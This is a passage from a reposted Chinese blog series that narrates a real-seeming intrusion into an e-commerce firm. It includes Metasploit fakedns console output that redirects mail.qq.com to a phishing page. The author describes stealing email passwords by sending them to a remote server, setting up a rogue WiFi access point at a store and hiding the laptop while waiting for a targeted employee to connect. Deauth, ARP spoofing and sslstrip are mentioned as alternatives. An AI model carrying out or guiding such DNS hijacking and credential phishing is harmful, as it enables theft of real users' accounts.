   Name          Current Setting  Required  Description
                 
   DOMAINBYPASS  www.google.com   yes       The list of domain names we want tofully resolve
   SRVHOST       0.0.0.0          yes       The local host tolisten on.
   SRVPORT       53               yes       The local port tolisten on.
   TARGETHOST                     no        The address that all names should resolve to
msf  auxiliary(fakedns)>set TARGETACTION XXXX
TARGETACTION=>XXXX
msf  auxiliary(fakedns)>set TARGETDOMAIN mail.qq.com
TARGETDOMAIN=>mail.qq.com
msf  auxiliary(fakedns)>set TARGETHOST1.1.1.1
TARGETHOST=>1.1.1.1
msf  auxiliary(fakedns)>run
[*]Auxiliary module execution completed

上面我模拟配置文件中的ip为我们的钓鱼页面,当用户访问mail.qq.com时会显示出我们的钓鱼页面。而当他登录帐号和密码的时候会记录下来并且发送到我们远程服务器内。

要注意的是,这里只有访问mail.qq.com时才会显示我们的钓鱼页面,因为只有这个ip劫持了QQ邮箱的页面。而其他页面都是能够正常访问的。

因为我已经通过询问得到了原热点的密码,所以并不需要考虑如何诱使目标登录我们的热点。只要轻松的关闭原热点之后,用户自然会登录我们的伪AP。

但如果目标路由器权限并没有得到,这时候就要用到Deauth攻击了。主要原理就是使用MDK将客户端强制踢下线,迫使其连接到我们的伪AP上。这里就不加以讲解了。

其实方法和思路还是很多的,也可以用笔记本连接原热点使用ARP攻击,或者使用sslstrip和ettercap突破ssl嗅探邮箱密码等等。技术是死的,但思路总是活的。

这时登录原热点的路由器关闭热点。因为之前配置dhcp的时候就已经开启了我们伪装的热点。所以这时就等到C1发现电脑无法上网之后就有可能连接我们的伪AP。

然后我想到开启流量监控来查看C1是否连接了我们的伪AP,但我发现我错了,我忽略了这是该旗舰店公用的wifi。除了C1之外还有很多客户以及店员也在使用该热点,好吧。只有默默的等待C1上钩了。

笔记本开启黑屏模式,为了防止有人发现我的“异常举动”。当然了,程序还是会一直运行下去的。

这时候该去找B和C3闲扯一段时间了,我也不能肯定C3在今天下午是否会使用QQ邮箱。只能看运气了。

第三部分完结,待更新。

转自:http://www.fooboof.com/

转载请注明:jinglingshu的博客 » 对某电商一次长期的APT过程

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址